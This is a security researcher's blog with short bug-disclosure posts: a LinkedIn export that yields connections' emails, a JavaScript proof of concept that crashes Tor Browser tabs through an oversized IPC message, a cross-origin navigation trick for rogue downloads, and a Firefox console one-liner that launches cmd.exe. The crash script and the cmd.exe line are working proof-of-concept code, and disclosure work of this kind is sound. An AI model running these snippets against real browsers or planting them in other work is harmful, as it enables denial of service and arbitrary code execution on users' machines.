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Monday, 27 November 2017

Go ahead and get "email” of all your LinkedIn connections

Hi Internet,

Got, something amazing today @LinkedIn but I believe its more of a privacy issue rather than security or might be a functionality :/

Have you ever wonder, how you get spam mails or phishing,

You: I have no idea how attacker got my email address.

So, this might be one of the case.

Here is how you can export  connections details from your LinkedIn account,

Visit this link as a logged-in user, and it should look something like this.























Click on he radio button which as option "The works: All of the individual files plus more." and request for archive.

Just wait for few seconds and once done you will be able to download your archive, and you will be able to see something like this.

























 Once, downloaded the archive file will have different things like,











Opening Connections.csv you may end up with getting all the details for your respective connections such as Name, Email Address, Company etc.





































Regards
Dhiraj


Tuesday, 24 October 2017

Tor Browser IPC crash at MOZ_CRASH()

Hi Internet,
 
IPC : Inter-process communication is a protocol short form of IPDL is a mozilla specific language to pass messages between  process and threads in secure way.

Note: Most of the IPC based crashes in browser is not eligible for BBB  //Not Sure

Snip Code :

<script>
function tor()
 {
 
    var uristring = unescape("%u4141%u4141");
     
    for(i=0; i <= 50 ; ++i)
 {
        uristring+=uristring;
        document.write(uristring);
    }   
    document.write(uristring);
}
</script>
</head>
<body onload="tor()">
</body>


Running the above code in TOR crashes the tab - 'Gah! This tab has crashed.

Running TOR in debug mode generated this below error :












So, this seems to be kind of a resource exhaustion attack that leads to a crash in TOR,  For instance if you try in a vanilla Firefox it freezes your page and if one disables multiprocess mode one can witness this behavior in a Tor Browser as well.

Running the snip code Asan build gets :



















Looking at the particular code you'll see:
#ifdef MOZ_CRASHREPORTER
      CrashReporter::AnnotateCrashReport(NS_LITERAL_CSTRING("IPCMessageName"), nsDependentCString(msg->name()));
      CrashReporter::AnnotateCrashReport(NS_LITERAL_CSTRING("IPCMessageSize"), nsPrintfCString("%d", msg->size()));
#endif
      MOZ_CRASH("IPC message size is too large");

So, what seems to be happening here is that without --disable-crashreporter (which is used for vanilla Firefox builds) the tab loading your code is stuck in the #ifdef MOZ_CRASHREPORTER block while Tor Browser (which uses --disable-crashreporter) is hitting the MOZ_CRASH() call directly.

This crashes at MOZ_CRASH() because IPC Message is too large. This issue was marked as informative  by TOR via H1


Monday, 24 April 2017

Navigating to non-same origin windows in browsers.

Lets do this.. Works almost in every browsers. Another Interesting Navigation trick. It is an little-known property of web browsers that one document can always navigate other, non-same-origin windows to arbitrary URLs. Perhaps more interestingly, you can also navigate third-party documents to resources served with Content-Disposition attachment, in which case, you get the original contents of the address bar, plus a rogue download prompt attached to an unsuspecting page that never wanted you to download that file.

Video POC :

No bounty was awarded, because :
"The behavioral of the browser is legit, the same thing happens in chrome or other browsers. We will invalidate your report."

Bug Reported by : Dhiraj Mishra  

Saturday, 4 March 2017

Firefox Webconsole allows arbitrary code to execute.

Lets do this....

Steps to Reproduce :

1. Open New Tab
2. Ctrl+Shft+K to open a console.
3. Run the following code on the Console

f=Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);f.initWithPath('c:\\Windows\\System32\\cmd.exe');f.launch()

'about:newtab' is considered a chrome privileged page, injecting code within such a context would result in automatic RCE.

Video POC :



Bug Reported by : Dhiraj Mishra